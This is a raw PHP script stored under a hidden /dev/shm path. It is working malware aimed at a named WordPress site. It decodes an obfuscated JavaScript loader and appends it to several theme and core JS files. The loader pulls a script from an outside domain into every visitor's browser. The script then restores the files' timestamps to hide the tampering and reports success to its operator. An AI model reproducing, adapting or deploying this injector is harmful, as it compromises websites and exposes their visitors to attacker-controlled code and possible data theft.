File: //dev/shm/.element
<?php $r = "/home/isolon64.ru/public_html"; $f = ['/wp-content/themes/daniel/slider/lightGallery.js','/wp-content/themes/daniel/slider/lightslider.js','/wp-content/themes/daniel/basket.js','/wp-content/themes/daniel/main.js','/wp-includes/js/wp-embed.min.js','/wp-content/themes/daniel/noty.js']; $code = rawurldecode('%28function%28k%2Ct%2Ca%2Cw%2Cg%29%7Bw%3Dk.createElement%28t%29%3Bg%3Dk.getElementsByTagName%28t%29%5B0%5D%3Bw.async%3D1%3Bw.src%3Da%3Bg.parentNode.insertBefore%28w%2Cg%29%3B%7D%29%28document%2C%27script%27%2C%27https%3A//content-website-analytics.com/script.js%27%29%3B'); $wr = false; foreach ($f as $p) { $path = "{$r}/{$p}"; $ft = @filemtime($path); if (is_file($path) && is_writable($path)) { $wr = true; $content = file_get_contents($path); if (strstr($content, $code)) { die("!already injected!<f>{$p}</f><ft>{$ft}</ft>"); } $content = $content . $code; if(file_put_contents($path, $content)) { @touch($path, $ft); $content = file_get_contents($path); if (strstr($content, $code)) { die("!success!<f>{$p}</f><ft>{$ft}</ft>"); } } } } if ($wr) { print("!writable!"); } else { print("!not writable!"); } die('!ended!');